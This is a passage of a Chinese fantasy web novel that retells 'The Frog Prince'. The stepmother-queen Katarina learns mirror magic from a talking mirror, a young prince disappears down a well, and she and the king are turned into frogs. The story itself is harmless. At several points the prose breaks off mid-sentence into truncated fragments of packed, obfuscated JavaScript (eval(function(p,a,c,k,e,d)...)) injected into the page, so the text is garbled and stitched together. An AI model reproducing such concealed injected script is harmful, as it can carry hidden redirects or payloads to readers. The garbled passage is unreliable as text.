卡特琳娜暗暗震惊，青蛙？井底？这与她印象中《青蛙王子》的故事出现了重合，但故事里变成青蛙的是王子，而不是信上写的是一位公主。不过，白雪也是男生，倒让卡特琳娜恢复了平常心，这个童话故事里的公主王子应该是出现了性别转换。 但重要的配角，比如她，恶毒继母倒是挺正常的女性。 不，卡特琳娜摸了摸自己的下腹，作为把子宫移植给情人的“外科医生”，她不知道自己还能不能被称为是正常的女性了。 这些倒没那么紧要，“十四团”后面没有写的内容勾起了卡特琳娜的好奇心。 “瓦沙克*道格斯亲王是谁？他与十四团是什么关系？”卡特琳娜询问米洛。 米洛解释道：“希博王朝在创世纪1035年被铁匠的儿子阿伦*道格斯推翻，他又被称为道格斯一世，他将希博改名为莫里安，迁都至蒙托。瓦沙克*道格斯是道格斯一世的兄弟之一，也就是著名的冰港万人屠杀案的策划者，被民间称为‘冰港刽子手’。 “平定国内动乱之后，道格斯一世将莫里安南部包括部分亚连士雪山在内的大片领土赐予瓦沙克管辖，授予他亲王称号。在莫里安黄金时期，瓦沙克就像人间蒸发，无人获知他的踪迹。但据拜厄侦察兵和洛尔兰自卫军的情报推测，十四团的幕后首领极有可能是瓦沙克亲王本人。” “1035年？那不就是十五年前？”卡特琳娜对这个童话世界的年历并不是很熟悉，但没想到莫里安竟然是如此新成立的国家。 米洛继续给她科普：“是的，十五年前道格斯一世推翻了鲁鲁托的独裁统治，创立了莫里安王朝。但从三十年前开始，希博王朝就已经内乱严重，许多领主自建军队自治领土，与拜厄北方冲突不断。 “直到十五年前道格斯一世上位后，开启了平定内乱的征战，在五年内统一整个原希博地区，让莫里安迎来了经济政治军事高速发展的黄金时期，直至现在。” 十年前，正好是卡特琳娜嫁到洛尔兰的那一年。 “纳温公主又是谁？”卡特琳娜问。 米洛回答：“道格斯一世有八个兄弟，纳温公主是道格斯大哥巴尔*道格斯亲王的女儿。纳温公主从去年便开始为费里特独立大学自然科学的入学资格备考，但莫里安实力最强的教会中学——亚连士冰雪教会学校，在瓦沙克的领地。她不顾父亲反对，独自前往就读。 “在今年年初，纳温公主在外出采集植物标本时失踪，至今没有回去。根据这封信件的内容来看，这极有可能是瓦沙克的预谋，纳温公主应该是被洛尔兰王后用魔法变成了青蛙。” 看来拜厄和莫里安都不是真正和平的国家，拜厄王权和教会对立，莫里安亲王之间内斗，都进入了白热化的阶段，还牵连了他们这个夹缝里求生的贫穷小国。 卡特琳娜知道《青蛙王子》的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“人灵派分支众多，有难有易，需要根据不同小门类系统学习。人灵派以精神学派为主导，主要是对情绪、梦境、潜意识的治疗和引导；傀儡师是其中一个小分支，专攻控制他人为傀儡的术法，现在被多个国家列为禁止首条；幽灵学派也在禁止目录中，被认为是掌控亡灵的邪异魔法；甚至其他一些诡异的门类，如镜子魔法，也被归类于人灵派。” “学了一个派别，就不能学习其他了吗？” “也不是，但术业有专攻。”米洛顿了顿，“历史上也不乏学习多个派别的巫师，但这会导致他们更容易走火入魔。绝大部分巫师专攻自己领域内的魔法，比如天灵派三个主要派系之间可以有交叉，但若是天灵派巫师又去深入研习物灵或人灵魔法，就会让巫师本人出现严重的精神问题，最后由于精神爆炸死亡。出现这种情况的具体原因在学界内还存在争议，尚未有共识出现。” “挺难选啊……”卡特琳娜是魔法学小白，她愿意听从专业人士的建议，“你有什么建议吗？” 米洛诚恳建议：“由于以前的您是幽灵学派巫师，在您的身体上还有残留的幽灵的痕迹。此外，这里有许多幽灵学派的文献、笔记和材料，如果您选择幽灵学派的话，相信您会在这个领域取得较快的进展。” “好吧。” 卡特琳娜觉得米洛说的很对， “那我选镜子魔法。” 20. 青蛙公主（1） “既然她是资深的幽灵学派巫师，我再选择跟她同样的类型的话，岂不是用鸡蛋来撞石头？她迟早还会找上我，如果她熟知我的能力，我就真的是死路一条。” 卡特琳娜思路很清楚，她向米洛解释她为什么选择镜子魔法学的原因，“但如果是我知道她的能力，那就不一样了，我可以更有效地防备她的偷袭。” 米洛听到她的说法，陷入了思考。 卡特琳娜继续说：“对我来说，选择镜子魔法学有非常多好处。第一，镜子魔法学是人灵派的小门类，我可以学习部分幽灵学派魔法，了解敌人便是打败她的第一步；第二，镜子魔法学是现界巫师人数最少的学派之一，传世的典籍极少，非常神秘，不被敌人了解便是打败她的第二步；第三，我有你，你就是一面镜子，甚至你现在还利用我的形象在镜界中行走，你的知识储备能帮助我快速入门镜子魔法学。” 米洛不禁赞同道：“是的，很有道理。” 于是，卡特琳娜便愉快地成为镜子魔法学的初学者。 初学者的第一步当然是准备好教材，她根据米洛的指示在书架上找到了《魔法学简史》、《人灵巫师精选》、《幽灵巫师经典咒语及解析》、《梦境拆解》、《灵场控制教程》和《学魔法需要耐心：在实践中成为真正的巫师》等经典魔法学著作。 卡特琳娜看着这一本比一本厚的书，甚至于《梦境拆解》还分了四册，每一本都跟牛津英汉词典一样厚，她就开始觉得困倦。一定是跟米洛说了太多话，她又想睡了…… “有没有什么比较快的方法？提升灵力，学会魔法。”卡特琳娜问。 米洛回答：“当然有。灵力的提升不仅仅是知识充实大脑带来的，更多是身体吸收获得的。多食用蕴含灵力的食材，尤其是动植物甚至是人的幽灵，会极大地提升灵力。至于魔法，需要持之以恒的学习，从最基础的常识开始……” “这个用镜子传递信息的魔法是什么仪式？你知道吗？”卡特琳娜问。 她随意翻了一下《魔法学简史》里面关于人灵派的篇章，有极少几段简要说了镜子魔法的出现、发展和被禁止的历史。其中有句话提到镜子魔法可以通过镜面传递信息，这是目前卡特琳娜最需要的，她想要联系上瓦沙克亲王，让十四团把粮车还回来！ 米洛回答：“这个魔法不需要仪式，要做到有两种方法。第一种，巫师需要准确知道两面镜子的镜界或现界定位并将两者联系，以当前镜子为参照，以自己的意念灵力将信息投射在上面，同一时间另一面镜子便也会出现相同的信息。第二种，只需要巫师与镜中的某个灵达成合作关系，便能够通过它在不同的镜子中传递信息。” “你不就是吗？你帮我传递一下。”卡特琳娜很惊喜。 “我不是，我只是一面镜子。但由于您分享了您的形象供我使用，我确实能够以灵的状态在镜界行走。只是您的灵力还太弱，无法支撑我达到那么远。况且，我还不敢在镜界中深入探索，这里非常危险。” 米洛知识量巨大，却只是一面胆小的镜子。 卡特琳娜不免失望，但她看到这件屋子里有一个银盘摆设，有类似于镜子的感觉。她问：“这种比较近的呢？我们一起试一试，感觉很容易。” 银面上浮现出了少女卡特琳娜的形象，看起来确实很容易的样子。 “我要怎么用意念投射信息上去？”卡特琳娜问。 “您需要贮备系统的魔法学基础知识，并彻底理解它们，此外，还应该按照教程所指示的那样进行最基本的魔法学练习。然后要……” 卡特琳娜惊讶道：“好了！上面有字了！” 银盘的伪镜面浮现出了几个现代狄埃语文字——“米洛是大笨蛋。” 米洛：…… “太简单了吧。”卡特琳娜只是动了个念头，还真起效果了！ 她眼珠子一转，想要使镜面浮现她自己的脸。镜面确实出现了一个模糊的人影，但非常不清晰，看不清楚五官。 卡特琳娜感觉思绪一断，画面便消失了。 “您在灵力使用方面极具天赋，但专注力还有所欠缺，我向您推荐《专注力——巫师的基本素养》这本经典书籍，它在书架第四层……” 卡特琳娜打断她：“打住，我可没那么多时间慢慢学习，我需要速成，速成你懂吗？告诉我更多类似的不需要仪式的魔法，这是我入门的第一步。下一次，我就要开始学习仪式魔法了。” 米洛感觉到她有些太心急了，但也能理解她的紧迫感，毕竟许多人都盯着她。 “好的，我的卡特琳娜。”米洛回答道。 * 卡特琳娜在魔法屋学习了一晚上类似的小魔法，比如在镜子上映射文字，用意念将镜子震裂粉碎，让镜子无法反射画面等；更诡异的是，她能让镜子里的画面变得与现实不一样，甚至是让镜子里的她自己说不一样的话，做不一样的表情和动作。 这样的学习让她非常疲惫，她推开魔法屋的铁门后便回到了自己的卧室里，她想倒头大睡却不能够。 她将写好的信件密封，写上了瓦沙克亲王的地址，然后派简妮投递到跨国邮局。既然她还没有能力用魔法传递信息，那只能用这种笨办法。 对于邮局会不会把信息泄露，她并不是很在乎。 毕竟她是恶毒继母，她把一个公主变成青蛙不是什么可以大惊小怪的事。而且她和瓦沙克亲王的联络，也会让人对她更加忌惮，不敢轻易对她下手。 接下来，她从抽屉里给了简妮一大把金币，让简妮去商店给她买镜子，越多越好。 简妮拿着信封和金币离开后，卡特琳娜依然没有安全感。她现在就像走在钢丝上，随时可能坠落。她需要力量，强大的力量。所以即使非常困顿，卡特琳娜也没有要去睡觉的意思。 “这种基础魔法太简单了，是个人都能做到。米洛，开始教我仪式魔法吧。”卡特琳娜雄心勃勃，她要尽快掌握更高级的魔法，才能应对未来的挑战。 米洛却有些迟疑：“我的卡特琳娜，并不是这样。像你刚刚练习的基础魔法，是费里特 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“陛下，卡尔亲王今日午后应该就会到达王宫，晚上宴席菜单本已经安排好，但厨师布莱恩病糊涂了。他非说自己昨夜见到了神灵，获得了神的指点和恩赐，他现在要皈依食神教派成为忠实信徒。可不能让这种神智失常的人为王室掌厨，您看这事该怎么办？” 卡特琳娜：…… 她那一棍子不是真把人家打傻了吧？不过王宫也没有别的大厨，她说：“没事，我们洛尔兰是宗教自由地区，他愿意信仰啥就信仰啥。” 既然王后都这样说，威廉姆也就没话讲，先退下了。 “卡尔亲王是谁？”卡特琳娜询问米洛。 “卡尔*范维西是范维西三世十八岁的亲弟弟，他大部分时候住在肯古丽湖的古堡内。每年新月节前，他会前往洛尔兰王宫，一直到整个新月节结束。” “好吧。” 看来只是个普通的亲戚。卡特琳娜简单梳洗了一下，并没有太在意卡尔亲王的事情，把窗帘拉上，倒头睡下了。 * “我的卡特琳娜，我觉得你应该先醒一醒……” 迷迷糊糊中卡特琳娜听到米洛在呼唤她。 她睁开眼，被床边坐着的黑影吓了个大跳。她定眼一看，才察觉黑影是海因里希。他深蓝色的眼睛似乎染上了某种阴影，仿佛来自地狱的幽冥。 他见她醒来，伸手往卡特琳娜的脖子袭击，被卡特琳娜敏捷地翻身避开。 “你要干什么？”卡特琳娜厉声呵斥他，“有没有规矩？擅闯别人的卧室！” “规矩？” 海因里希冷哼一声，眼里闪过凶光，“没规矩的人是你，王后。你不仅害玛利亚，害纳温，现在还要害我的弟弟卡尔！” 21. 青蛙公主（2） 在卡特琳娜熟睡的时候，十八岁的卡尔亲王骑着马，沿着山间小路前往洛尔兰王宫。 新月节即将到来，他作为国王范维西三世的亲弟弟，自然要提前去帮忙准备这场举国重视的庆典。 尽管他极其厌恶兄长的妻子，却不得不做足面子功夫，努力维护王室家庭的表面和谐。 他特意从肯古丽湖古堡给王后带来一样礼物——一颗苹果大小，由纯金打造的金球，据说金球内部还灌注了能带来好运的魔法泉水，是无价之宝。 这是他机缘巧合从路过的收藏家手里买下，希望王后收下后不要再对他可怜的侄女儿那么苛刻。 卡尔亲王与范维西三世相貌相似，却因为年轻又没有经历过险恶而更显得柔美艳丽。 金发碧眼，身形高挑，骑着高头大马，英俊潇洒，路过的农家姑娘都忍不住偷偷看他，脸颊绯红。 他会伸手摘下盖着雪的枝丫，抛给农家姑娘，惹得人家惊呼连连。 他没有走王宫正门，而是从侧边小路进去。巡逻的宫卫见到他，停住向他行礼，他也脱帽微笑回礼。 他急急地往玛利亚所在的偏僻处走，因为他太思念那可怜的侄女儿了。 他比玛利亚大四岁，小时候是他护着她。直到他十四岁被封为亲王，不得不离开王宫，去到肯古丽糊古堡独居。 他另外给玛利亚带来了不少好东西。 “吁——” 卡尔猛地拉住缰绳，□□的骏马发出一声嘶鸣，前蹄高高扬起。 “怎么回事？”卡尔亲王心有余悸，低头一看，原来是地上横着一截枯树枝，差点绊倒了他的马。 “该死！冰雪女神庇佑我！”他嘀咕一声，翻身下马，准备把树枝踢到路边。 然而，就在他弯腰的一瞬间，他挂在腰间的金球因为惯性，竟然飞了出去！ “不！” 卡尔眼睁睁地看着他为王后准备的礼物在空中划出一道金色的抛物线，然后不偏不倚地掉进了路边一口枯井里。 “砰——” 一声闷响从井底传来，在寂静的树林里显得格外清晰。 卡尔顿时脸色苍白，这颗金球可是他送给王后的礼物，要是弄丢了，他怎么跟王后交代？ 他连忙跑到井边，探头往下看。 井很深，井水漆黑，什么也看不见。 “该死！该死！” 卡尔急得团团转，却毫无办法。这口井一看就知道荒废已久，周围连个打水的工具都没有，他总不能自己跳下去捞吧？ 在他焦急万分的时候，突然，他听到井底传来一阵奇怪的声音。 “呱呱呱……” 卡尔愣了一下，仔细一听，确实是青蛙的叫声。这冰天雪地，并不是青蛙出现的时节。 “难道井里还有人养青蛙？”他心中疑惑，再次探头往下看。 这一次，借着微弱的光线，他终于看清了井底的情况。 在漆黑的井水中，竟然真的有一只青蛙！ 而且，这只青蛙与众不同，它的体型比普通的青蛙大得多，足足有一个成年人的拳头那么大。更奇怪的是，它的皮肤上竟然还长着金色的斑点，在昏暗的环境中闪烁着微光，看起来诡异又美丽。 “呱呱呱……” 那只青蛙似乎察觉到了卡尔亲王的目光，抬起头，一双金色的眼睛直勾勾地盯着他，眼神中充满着渴望？ 卡尔顿时感到一阵毛骨悚然，这青蛙的眼神，怎么看都不像是普通的青蛙啊…… “呱呱呱……金毛男，你是在为掉下来的金球发愁吗？” 就在这时，那只青蛙突然开口说话了，声音嘶哑低沉，如同破旧的风箱一般。 “你……你会说话？”卡尔惊愕万分，这到底是什么怪物？还叫他金毛男？他摸了摸自己的头发，他确实是金毛没错…… 那只青蛙似乎对他的反应感到很有趣，竟然咧开嘴，露出一个甜蜜但诡异的笑容：“呱呱呱……我当然会说话，我，我是……” 它似乎想解释自己是谁，但却怎么也说不出口，然后就放弃了。 “呱呱呱……金毛男，你不用惊讶，我可不是普通的青蛙。我可以帮你把金球捡回来，但是……”那只青蛙说到这里，故意停顿了一下，金色的眼睛里闪过一丝狡黠的光芒，“你得拿别的东西来回报我。” 卡尔亲王此时已经完全被这只诡异的青蛙搞懵了，他下意识地说：“那是当然，我的金币、我的宝石和骏马、甚至我腰间别着的这把宝剑，都可以给你。” 青蛙摇摇头，说：“你的金币、你的宝石、你的骏马，还有你的宝剑，我哪样都不想要。不过，要是你愿意喜欢我，我们就一起游戏，吃饭的时候我要坐在你的旁边，你要一勺一勺喂进我的嘴里，晚上我们要躺在同一张床上，你给我讲睡前故事哄我睡着。要是你答应的话，我就马上潜入水底，把金球捞出来。” 卡尔迷惑了：“什么意思？” 那只青蛙看着他，一字一句地说道：“做我一辈子的好朋友。” * “失踪？这件事跟我无关，我什么都不知道。”卡特琳娜否认道。 巡逻的宫卫亲眼看见卡尔亲王进入王宫，但过去了三四个小时还是不见他达到宫殿。海因里希得知这件事后派兵寻找，也没有找到卡尔的踪迹。因此，他首要怀疑是卡特琳娜又做了什么坏事。 “不过，你怎么知道我害纳温公主的事情？”卡特琳娜疑惑了。 海因里希没有立即回答，反而是用幽深的眼神盯着她。卡特琳娜来气了，瞪回去，骂道：“你不是吧你？你是不是偷看了我的信？” 绝对是这样，不然他怎么可能知道。 “你突然让简妮去买镜子……又做了这么多反常的事情……”海因里希不回答她的问题，反而还死咬着是她害卡尔失踪不放。 他竟然一下蹦到床上来，抓住了卡特琳娜的手腕，眼睛发红，愤恨道：“你得不到我，就去对卡尔下手，难道不是吗？！” 卡特琳娜：？？？ “闭嘴。” 卡特琳娜用另一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“你为了他不是还模仿前王后安娜的样子，将头发染成红棕色，将瞳孔染成宝石绿？你以为他会喜欢那样，却没想到从那以后，他都在军营睡觉了。你为了尊严，不得不提出来分房睡。实际上，就算是同房的时候，你们也没有在一张床睡过。” 卡特琳娜：啊？？？ “不是，我的头发我的眼睛，原本不是这个色儿的？但之前的油画里不就是那个色儿吗？”卡特琳娜震撼了。 她打开项链坠，里面的小镜面浮现出她最原本的样子，竟然真是银发银眼，虽然五官没变，但异常诡魅。 “这才是您天色的发色核瞳色，油画是您婚后把原作寄回费里特，让绘画家莫尼诗修改过的。”米洛顿了顿，又将模样恢复到红发碧眼，赞叹道，“我很喜欢这幅画，我喜欢你为了他人而改变自己的决心。” 卡特琳娜感到一阵眩晕，原来幽灵卡特琳娜竟然对海因里希一片痴心！ “看来安娜也是个美人，毕竟白雪长那么漂亮。”卡特琳娜换好了衣服，在梳妆台前戴好了耳饰，情不自禁欣赏自己绝美的容颜。 “走吧，去证明卡尔亲王的失踪与我无关。” 虽然卡特琳娜没有睡很久，但她现在神采奕奕，她绝不容忍海因里希平白诬陷她！ 22. 青蛙公主（3） “马还在，人怎么消失了？”卡特琳娜来到卡尔亲王失踪的现场进行实地考察，附近有一口枯井，井底有浅浅的冰层。 昨天雪停之后天气意外转好，今天午后阳光明媚了一阵，这会儿压下云层来，似乎又要下雪。冬季夜晚可是太冷，若是卡尔一直待在外面，难说不会出什么事情。 海因里希站在不远处，目光阴冷地注视着她。 她感觉到他所有的期望和愤怒都像一团旋转的风暴，随时可能爆发。她在心里翻了个白眼，这跟她有什么关系？她连卡尔长什么样子都不知道，她还能害人失踪了？ 不过纳温公主变青蛙的事确实是前卡特琳娜做的，她心不甘情不愿也必须领了这口锅。 “这也是我想问的，人不可能凭空消失。”海因里希的声音仿佛冰冷的刀锋，令人不寒而栗。 附近的宫卫和仆人都聚集过来，四处寻找卡尔亲王可能留下的线索。 玛利亚听到卡尔在宫中消失的事情，向卡尔的骏马飞奔过去。他眼中含泪，担心自己的叔叔出现意外。当然，他也用与海因里希同样怀疑的眼神瞪着卡特琳娜。 卡特琳娜一个头两个大，提议说：“难道洛尔兰没有能与这只马沟通的训导师吗？找个人过来问问它，不就知道发生了什么？” “医师菲利普就是动物训导师，他刚刚到。” 菲利普向国王和王后行礼后，就立即与卡尔亲王的爱马对话，他脸色一会儿红一会儿白，看得周围的人心急不已。 玛利亚等不及，拉着菲利普的手问：“到底发生了什么？” “它说，卡尔亲王在这里突然停下去捡金球，走到井边自言自语，最后掉了进去。” 掉进井里？ 这口井显然是前卡特琳娜囚禁纳温公主的废井。 卡特琳娜回忆《青蛙王子》故事，性转后青蛙王子应该就是纳温公主，而亲吻青蛙的公主应该就是卡尔亲王。 但她不记得原版故事有公主掉进井中的桥段啊？ 也许与《白雪公主》、《小红帽和大灰狼》的故事一样，《青蛙王子》也并不是原来那种一帆风顺的情节了。 海因里希亲自下井探索，一无所获，下面只有浅浅的冰层，不仅没有卡尔的踪迹，连马所说的金球也没有影子。 卡特琳娜让人拿着提灯，她从上往下看，发现冰层反射画面的感觉很像是一面镜子。她意念一动，想要将镜面震碎，却失败了。 “冰层之下还有一个世界。” 她突然感到头皮发麻，与之前在梦境中遭遇幽灵的紧张感一样。这难道……会是一个陷阱吗？ “果然是你！”玛利亚尖叫着扑向她，却被海因里希及时拉开。 她迅速转身，尽量不让自己的焦虑表露出来。海因里希和玛利亚都确信是她的问题，找到卡尔是她唯一证明无辜的机会。 不过，她为什么要证明？ 无论她如何辩解，平白的诬陷总是会落到她头上。她本来就是恶毒继母，宫中一旦发生任何恶性事件，她都是第一嫌疑人。 她想明白了，她根本不在乎海因里希或玛利亚对她的看法，她不需要证明自己的无辜。 她现在最重要的事情，只将那个一直缠着她意图取代她的幽灵除掉！ 她走到海因里希的面前，直视他的眼睛，说：“卡尔应该就在井下的另一个世界里，我可以进去找他。” 米洛低语声提醒道：“我的卡特琳娜，通过这口古老的井，你确实可以进入另一个世界，但你的敌人隐藏在黑暗中。以你目前的实力来看，你……” “但你要答应我一个条件。”卡特琳娜不理会米洛的话，反而对海因里希说。 她踮起脚也只能挨着海因里希的肩头。 海因里希略微俯下身，将耳朵凑近她的唇，才听清楚她接下来的话：“我帮你把卡尔带回来，你将伊桑*沙穆交给我来关押。” “你——”海因里希不可置信地转头，然后就近距离看到了她自信满满的笑容。 她解释说：“你放心，他害我声誉受损，我不会放过他。我只是想知道他肚子里的怀的究竟是谁的种，这是我跟他之间的私人恩怨。” 海因里希怎么可能相信她说的话，但现在自己的亲弟弟受到性命威胁，他不得不暂时答应：“好，只要你说话算话。” “今天晚上。”卡特琳娜轻声说，语气坚定，“你跟我一起进去。” 海因里希愣了一下，估计是没想到还把他也算上了。 * 虽然卡尔亲王失踪，但改了信仰的布莱恩已经按照菜单准备好了食物。 卡特琳娜惊喜地发现，为了迎接卡尔，菜式变得更丰盛了一些，多加了烤鸡和牛排。虽然味道还是不尽如她意，但也勉强能让她多吃几口。 米洛忧心忡忡：“我的卡特琳娜，你真的要进入那里吗？我总觉得，这件事是不是太草率了……” “海因里希不也会魔法吗？有他在，没问题。” 卡特琳娜倒并不是真的把宝押在她的敌人身上，而是她意识到海因里希的存在会是对幽灵卡特琳娜的最大制衡。 米洛完全没有领会她的用意，解释说：“他只是在费里特独立大学攻读政治军事学的时候，修了魔法学的双学位，仅仅是魔法学本科毕业的水平。海因里希更擅长剑术，他学了一点基础的光明祈士魔法，能让宝剑使出冰霜攻击的效果。但是，镜界诡异神秘，根本不能指望他……” “我没有指望他。”卡特琳娜如实说道，“我指望你。” 米洛：…… “我有感觉，那个想要夺取我身体的幽灵就在暗中窥视，这可能是她计划的一部分。”卡特琳娜不是那种坐以待毙的人，她不怕面对危险，“她入侵我的梦境失败后，肯定受了一定程度的伤。还没来得及恢复，她又开始行动。她心急了，心急的人会有很多破绽。我一日不除掉她，我就一日睡不好觉！现在正是我利用她的破绽除掉她的机会！” 米洛沉默了一会儿，说：“我怎么觉得你比她更心急呢？” “上一次没有你我都能识破她的阴谋，这一次有你在，我还有什么可怕的？”卡特琳娜信心十足，让她马上出场制服公牛她都不带犹豫。 但米洛还是不太放心，给了她一份材料清单，如果实在不行，还可以现场临时学一下仪式魔法。 卡特琳娜把清单交给威廉姆，没多久便准备齐全。她换了便装，跨了个包装材料，还塞进一些乱七八糟的东西，包括几面简妮新买回来的小镜子。 “好了，万无一失了。”她说。 * 夜幕降临，卡特琳娜和海因里希来到井边。 雪没下下来，月光洒在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他反应极快，立即将青蛙推开，呼叫那个魔法实力强大的巫婆：“呱呱呱呱呱呱！（卡特琳娜！）” 海因里希：？？？ 他的声音……怎么变得怪怪的？ 巨型青蛙似乎不打算放过他，朝他追击过来，张着血盆大口，露出它那滑腻腻的猩红舌头。海因里希是勇猛的战士，不可能被这种怪物吓到，他立即伸手想要拔出腰间的宝剑。 ……他的宝剑呢？ 他低头一看，自己的宝剑消失了，腰也消失了，只剩下滑溜溜绿油油的皮肤。 “呱呱呱呱呱！”巨型青蛙并没有攻击他，而是扒拉着他不停地呱呱叫。 海因里希感到一阵眩晕，他不会是在做梦吧？他，他难道变成了……变成了…… 刚出水面的时候卡特琳娜就惊悚地发现她和海因里希都出现了诡异的变化，她震惊尖叫：“里希！我们变成了青蛙！” 旁边的蛙却连连后退，她不得不追上去提醒：“你别跑啊，我是卡特琳娜！” 他跑了没多远又愣在了原地一动不动，她只能摇晃他的身体，也有些情绪不稳定，欲哭无泪道：“海因里希！范维西！你听到没有，我们变成青蛙了？” 难道她认错蛙，这只会不会不是海因里希啊？但浮上来的时候，她抱着的就是这只蛙啊？抱着抱着还能抱错蛙吗？ 她有些犹豫，重复叫道：“海因？里希？范维西？老公？你是我老公吗？你是我老公你就说句话啊？” 这只蛙终于有点反应了，似乎才听懂她在说什么。 他表情严肃，瞳孔震动，沉声哇哇道： “是的，我们变成青蛙了。” 23. 青蛙公主（4） 古井的边缘处有石台，他们不能一直浮在水里，蛙泳游到那里跳了上去。然后两只蛙看着对方，一时之间都说不出话来。 “现在该怎么办？”卡特琳娜率先开口。 她这句话既是问海因里希，也是问米洛。她被某种奇怪的力量诱惑，在准备不充分的情况下进入了这个镜中世界，还变成了青蛙。 理所当然，她携带的所有东西都消失了，包括脖子上的镜子项链坠。之前在梦境里的时候就出现过联络不上米洛的情况，信息差是她在这个世界存活的关键，靠她自己真的很难办。 果然，米洛并没有回答她，她们失联了。 “你问我？不是你答应了要将卡尔找回来的？”海因里希眯着他那双青蛙眼，想做出质疑的表情，但青蛙的眼睛又鼓又大，显得他像是在犯困。 真不知道她当时的信心是从哪里来，她深刻怀疑是有人对她施加了提升勇气的魔法，不然她不可能鲁莽地跳进一口枯井！ 果然是陷阱。 但卡特琳娜不能把心里话告诉海因里希。 她有些心虚，想拍拍他的肩，又发现青蛙没有肩，只能嘿嘿笑了一声，说：“这不是刚刚进来呢吗，我哪能知道会变成青蛙？我们一起想想办法。” 海因里希瞪大了他的青蛙眼，哇哇道：“你怎么不知道？纳温不就是被你变成青蛙的？你是不是故意设计陷害我，想让我也变成青蛙？” 他终于想明白了，觉得这一切都是这个恶毒女人的奸计。 青蛙里希向卡特琳娜猛扑过来，将她压在身下，厉声哇哇问：“是不是你！？卡尔是不是也被你变成了青蛙？你这个狠毒的——” 卡特琳娜被扑倒后当然是下意识反抗，但作为一只青蛙，她吐出了她长长的猩红的舌头，打在了海因里希的脸上。 正所谓，舌头甩了他一脸。 青蛙里希愣住了，卡特琳娜趁机把舌头收回来，挣脱着站起来。 她解释说：“你不要诬陷人！什么我把纳温公主变成青蛙，你哪只眼睛看到的？没有的事！我自己这不也变成青蛙了吗，我没事干吃饱了撑的把自己变成青蛙学蛙泳啊？” 她想翻一个白眼，但青蛙的眼睛好像翻不出来。 “你信上写的——” 卡特琳娜听到他说信，立即一巴掌打在青蛙里希的脸上，生气了：“混蛋！你偷看我的信！之前没教训你，你还敢拿这件事出来说！” 青蛙里希立即想要打回来，但卡特琳娜预判了他的行动，已经跳进了水里。 不得不说，青蛙游泳那是顶呱呱。 她蹬着腿，在井水中畅游，还能哇哇骂人：“你这个偷窥狂！懂不懂尊重个人隐私？我跟瓦沙克亲王交易，那都是为了我们洛尔兰好！大家都吃不起饭了，牺牲一个纳温公主换粮车回来有什么问题吗？你哇哇哇叫什么叫？还有没有点做国王的本分？” “你，你，你……”青蛙里希气得话都说不利索。他完全没想到卡特琳娜不仅教训他、顶撞他，还指责他没有做国王的本分！ 以前她绝不会这样，只会在他面前示好，在背地里作恶。 里希越看水里游来游去的那只青蛙，心里越是狐疑。从伊桑*沙穆的审判事件之后，她就变得越来越古怪…… 难道这个对他爱而不得变成恶毒婆娘的女人，已经彻底疯了吗？ 卡特琳娜见他脸色一青一白，却说不出什么话，便又跳到了岸上。她现在已经适应青蛙的身体了，游泳灵活，跳跃敏捷，比人类不协调的四肢好使很多。 她正想要再跟海因里希讨论一下该怎么办，一个巨大的阴影突然笼罩在他们的头顶。 一个甜美可爱的女孩的脸出现在井口，眼睛快速转动，似乎在搜索着什么。 青蛙里希瞳孔震动，目光在井口的女孩和旁边的青蛙卡特琳娜身上来回。回忆突然涌上来脑海，耳边嗡嗡作响，心脏怦怦直跳，手脚冰凉颤抖，整只蛙都不好了。 那张脸他不会忘记，是十年前卡特琳娜的脸。 唯一不同的是，当时的卡特琳娜银发银眼，而现在井口的那张脸却是红发绿眼。而且，她的装扮，与跟他结婚的那天一模一样。 这时候，他才发现，他还记得十年前的那一天，他本以为自己早已经忘了。二十九岁的卡特琳娜，面貌像是只有十五十六。 卡特琳娜喜不自胜，冲着井口圆圆的天空开口哇哇叫喊：“米洛！” 她一眼认出那是借用婚礼油画中她的形象的米洛，有种伪装成人类的人工智障感。 看来这里的确是镜中世界，米洛能以“人”的形象存在。 米洛听到了哇哇声，发现了那两只青蛙，立即认出其中一只是她的主人卡特琳娜，另一只当然就是卡特琳娜的合法丈夫海因里希。她说：“我救你们出来。” 米洛将一个水桶用绳子系着往下放，让青蛙里希和卡特琳娜都跳进去，然后她再往上拉。 这里是与现界完全不同的世界，显然是春夏之际。 阳光洒在身上暖洋洋的，让青蛙卡特琳娜觉得有些不安，她泡在水桶的井水里，不愿意彻底跳到地面上。 这里王宫的后院景致也与真实洛尔兰王宫大不相同。 高大的梧桐树在微风中轻轻摇曳，阳光透过繁茂的枝叶，在地面上投下斑驳的光影。空气中弥漫着玫瑰和紫罗兰的幽香，不远处是一条铺着彩色马赛克的大道。 卡特琳娜抬头便能望到梦幻的王宫城堡，外墙由洁白的大理石砌成,在阳光照耀下熠熠生辉。墙面上雕刻着精美的浮雕，描绘着她没见过的神话故事。 宫殿侧面有一排高大的落地窗，窗框镶嵌着黄金和宝石，折射出炫目的光彩。窗前是一个宽阔的露台，露台上摆放着造型精致的摆件。 洛尔兰王宫与眼前华丽绚烂的宫殿比，简陋粗略得像是乡绅住的庄园。 海因里希小心翼翼地从水桶中跳出，适应着陆地的感觉。 米洛弯下腰，打量着水桶里的卡特琳娜，将她捧在手心里，问道：“我的卡特琳娜，你还好吗？有没有受伤?” 卡特琳娜摇摇头，说：“我没事，就是不太习惯这么刺眼的阳光。米洛，这里到底是什么地方？你知道我们要怎样才能变回人形，找到卡尔亲王吗？” 海因里希注视着她们，显然非常好奇这个跟卡特琳娜长相一样的被叫做米洛的究竟是什么人。 